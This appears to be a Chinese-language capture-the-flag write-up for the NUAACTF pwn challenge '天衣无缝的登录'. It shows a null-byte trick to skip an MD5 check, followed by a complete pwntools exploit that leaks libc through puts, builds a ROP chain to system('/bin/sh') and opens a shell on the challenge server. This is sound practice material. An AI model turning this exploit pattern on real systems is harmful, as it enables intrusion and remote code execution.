NUAACTF - PWN - 天衣无缝的登录
NUAACTF - PWN - 天衣无缝的登录
我也不知道为什么我写不出来, 枯枯...
最后发现是我甜蜜的把泄露libc的流程跳了...最可怕的是竟然没看出来想杀了自己
[为什么会犯这种低级错误我也不知道, 应该是太久没做题了(麻 ]
老规矩, 保护:
保护等于没开, IDA寻找哪里能过的:
一直没找到溢出点, 翻到这边发现可以通过给v3
赋\x00
来跳过外层if进入log_success
函数:
res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')
然后就是常规泄露libc地址来rop了.
完整exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#res = process('./login')
elf = ELF('./login')
#libc = elf.libc
libc = ELF('./libc.so')
res = remote('121.4.118.92','9390')
pop_rdi = 0x402683
ret_addr = 0x402684
main = 0x402572
res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')
puts_plt = 0x4010f0
puts_got = elf.got['puts']
payload = 'a' * (0x28) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
res.sendline(payload)
puts_add = u64(res.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = puts_add - libc.symbols['puts']
sys = base + libc.symbols['system']
bin_sh = base + libc.search('/bin/sh\0').next()
res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')
payload = 'a' * (0x28) + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(sys)
res.send(payload)
res.interactive()